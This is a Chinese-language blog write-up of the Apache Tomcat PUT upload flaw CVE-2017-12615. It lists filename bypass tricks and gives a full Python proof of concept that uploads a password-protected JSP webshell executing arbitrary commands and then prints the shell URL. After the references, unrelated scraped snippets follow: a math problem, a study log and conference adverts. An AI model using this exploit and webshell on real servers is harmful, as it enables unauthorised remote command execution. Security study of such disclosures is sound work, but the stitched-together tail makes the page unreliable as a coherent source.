CVE-2017-12615和CVE-2017-12616

Tomcat代码执行漏洞分析测试

1. 漏洞花絮

2017年9月19日,Apache Tomcat官方确认并修复了两个高危漏洞,漏洞CVE编号:CVE-2017-12615和CVE-2017-12616,其中 远程代码执行漏洞(CVE-2017-12615)    影响: Apache Tomcat 7.0.0 - 7.0.79(7.0.81修复不完全)

当 Tomcat 运行在 Windows 主机上,且启用了 HTTP PUT 请求方法(例如,将 readonly 初始化参数由默认值设置为 false),攻击者将有可能可通过精心构造的攻击请求向服务器上传包含任意代码的 JSP 文件。之后,JSP 文件中的代码将能被服务器执行。

2. 基本信息

漏洞名称:Tomcat任意文件上传漏洞

漏洞编号:CVE-2017-12615

漏洞影响:上传包含任意代码的文件,并被服务器执行。

影响平台:Windows

影响版本:Apache Tomcat 7.0.0 - 7.0.81

3. 测试过程

0x00 安装Tomcat 7.0.79

0x01 开启HTTP PUT

修改Tomcat 7.0/conf/web.xml文件

Org.apache.catalina.servlets.DefaultServlet

添加readonly属性,使者readonly=false; 相反为True,是禁用PUT DETELE,默认没有添加

  1. <init-param>
  2.  
     
  3. <param-name>readonly</param-name>
  4.  
     
  5. <param-value>false</param-value>
  6.  
     
  7. </init-param>

目前主要三种方法:

  • evil.jsp%20
  • evil.jsp::$DATA
  • evil.jsp/

构造请求:

参考POC:

  1. #! -*- coding:utf-8 -*-
  2.  
     
  3. import httplib
  4.  
     
  5. import sys
  6.  
     
  7. import time
  8.  
     
  9. body = ‘‘‘<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public
    static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp
  10.  
     
  11. +"\\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();}%><%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println(":-)");}%>‘‘‘
  12.  
     
  13. try:
  14.  
     
  15.     conn = httplib.HTTPConnection(sys.argv[1])
  16.  
     
  17.     conn.request(method=‘OPTIONS‘, url=‘/ffffzz‘)
  18.  
     
  19.     headers = dict(conn.getresponse().getheaders())
  20.  
     
  21.     if ‘allow‘ in headers and \
  22.  
     
  23.        headers[‘allow‘].find(‘PUT‘) > 0 :
  24.  
     
  25.         conn.close()
  26.  
     
  27.         conn = httplib.HTTPConnection(sys.argv[1])
  28.  
     
  29.         url = "/" + str(int(time.time()))+‘.jsp/‘
  30.  
     
  31.         #url = "/" + str(int(time.time()))+‘.jsp::$DATA‘
  32.  
     
  33.         conn.request( method=‘PUT‘, url= url, body=body)
  34.  
     
  35.         res = conn.getresponse()
  36.  
     
  37.         if res.status == 201 :
  38.  
     
  39.             #print ‘shell:‘, ‘http://‘ + sys.argv[1] + url[:-7]

  40.  
     
  41.             print ‘shell:‘, ‘http://‘ + sys.argv[1] + url[:-1]

  42.  
     
  43.         elif res.status == 204 :
  44.  
     
  45.             print ‘file exists‘
  46.  
     
  47.         else:
  48.  
     
  49.             print ‘error‘
  50.  
     
  51.         conn.close()
  52.  
     
  53.     else:
  54.  
     
  55.         print ‘Server not vulnerable‘
  56.  
     
  57.  
     
  58.  
     
  59. except Exception,e:
  60.  
     
  61.     print ‘Error:‘, e

参考链接:

https://mp.weixin.qq.com/s?__biz=MzI1NDg4MTIxMw==&mid=2247483659&idx=1&sn=c23b3a3b3b43d70999bdbe644e79f7e5&chksm=ea3f3dd9dd48b4cf1db66e70662126cf1eb45f60eb8205b3391d20f66564e6a789b158c0efe5&mpshare=1&scene=23&srcid=0920boQGYdCjZTPg2nEQRMqt#rd

https://www.secquan.org/BugWarning/522

https://paper.seebug.org/399/

时间: 2024-11-16 00:58:24

CVE-2017-12615和CVE-2017-12616的相关文章

【原根】【动态规划】【bitset】2017四川省赛 K.2017 Revenge

题意: 给你n(不超过200w)个数,和一个数r,问你有多少种方案,使得你取出某个子集,能够让它们的乘积 mod 2017等于r. 2017有5这个原根,可以使用离散对数(指标)的思想把乘法转化成加法,然后就可以用bitset优化dp了. 裸的dp方程是f(i,j)=f(i-1,j)+f(i-1,(j-I(a(i)))%2016),第一维可以滚动.I(i)规定为i的指标,但是我们这里不像<数论概论>那本书上把I(1)规定为2016,而当成0,比较方便. #include<cstdio&g

154173503 傅欧瑞 现代软件工程工作室半月(2017年 月 日~2017年6月1日)学习情况总结

学习内容总结 主要学习了JAVA语言的一些应用,对Intellij IDEA的一些基本操作 学习中的问题和解决过程 问题1:做任务想当然去做 问题1解决方案:通过参考他人程序以及再度阅读要求对原程序进行更改 问题2:对数字的处理不到位 问题2解决方案:通过参考他人程序 学习成果 代码地址:https://github.com/Lixuskinkon/GitExtensionsDemo 感悟 这学期可以说是荒废了的一学期,积极性无法保持就开始对工作室比较上心,后来由于一些因素,学业荒废了一段时间,

2017暑假任务安排——2017.7.9

1.口语练练系统的需求分析.数据库 监督项目进度 2.axure ap学习,做出答疑系统第二版的原型 3.微信小程序了解及初步学习(能跑通答疑系统) 4.学习报表(<sqlser2008 r2报表服务>看完,并能制出员工薪资管理的报表) 5.mongodb初步学习(前八章) 6.PHP+MySQL不熟悉的部分练熟悉,主要是框架运用及会话流程 六级复习: 每天10个单词,一篇阅读,听半小时听力

三维设计软件的世界领导者Autodesk.Delcam.2017.SP2.Suite

Autodesk.Delcam.2017.SP2.Suite 6CD3.9G Autodesk公司在娱乐.自然资源.制造.工程.建筑三维设计软件的世界领导者,和民用基础设施,宣布Autodesk Delcam 2017 SP2套件发布.这些产品结合CAM软件行业领导的遗产从Delcam与Autodesk公司的三维设计和制造实力,呈现Autodesk凸轮客户提供强大的和独特的用户体验. 欧特克正在迎来新2017计算机辅助制造(CAM)的产品为众多的先进制造业的应用范围从数控铣床和车床编程复杂的模具

2017上海国际工业自动化及机器人展览会

 2017上海国际工业自动化及机器人展览会     Shanghai international industrial automation &robot exhibition 2017        时间:2017年05月15日-17日   地点:上海光大会展中心(漕宝路88号) 欢迎参加"2017上海国际工业自动化及机器人展览会",简称:"ARE ShangHai 2017",将于2017年5月15-17日在上海光大会展中心隆重开幕.此次展会将涉及工业机

在 2017 年将会更加流行的 6 个 Web 开发趋势

2016即将过去,2017就要来临. 前阵子看到很多对2016前端领域的总结,也是有人欢喜有人忧啊. 转发了这一篇2017web的发展趋势.那么到底会是怎么样的一个发展趋势的,只好拭目以待了. 2017,希望我也能够学的更多,变得更加全面. 原文:6 Web Dev Trends You’re Going to See More of in 2017 译文:在 2017 年将会更加流行的 6 个 Web 开发趋势 每到年底,人们总喜欢展望下一年,Web 开发领域也不例外.在 Web 开发领域,技

漏洞都是怎么编号的CVE/CAN/BUGTRAQ/CNCVE/CNVD/CNNVD

在一些文章和报道中经常提到安全漏洞CVE-1999-1046这种CVE开头的漏洞编号,这篇文章将常见的漏洞ID的表示方法做下介绍: 1.以CVE开头,如CVE-1999-1046这种 CVE 的英文全称是"Common Vulnerabilities & Exposures"公共漏洞和暴露.CVE就好像是一个字典表,为广泛认同的信息安全漏洞或者已经暴露出来的弱点给出一个公共的名称.使用一个共同的名字,可以帮助用户在各自独立的各种漏洞数据库中和漏洞评估工具中共享数据,虽然这些工具

2017会议时间

sigkdd deadline:February 17, 2017 position:Halifax, Nova Scotia - Canada conference time:August 13 - 17, 2017 ICML: deadline:Feb 24, 2017 position:Sydney AUSTRALIA conference time:Aug 6, 2017 - Aug 11, 2017 IJCAI: Abstract submission: February 16th,

【转】The most comprehensive Data Science learning plan for 2017

I joined Analytics Vidhya as an intern last summer. I had no clue what was in store for me. I had been following the blog for some time and liked the community, but did not know what to expect as an intern. The initial few days were good – all the in

2017上海国际嵌入式系统展览会

Shanghai International Embedded Systems Exhibition 2017        时间:2017年5月15日-17日  地点:上海光大会展中心(漕宝路88号) 关于"ES EXPO 2017" 欢迎参加"2017上海国际嵌入式系统展览会",简称:"ES EXPO 2017",本届展会将于2017年5月15-17日在上海光大会展中心与"2017上海国际工业自动化及机器人展览会"两展同期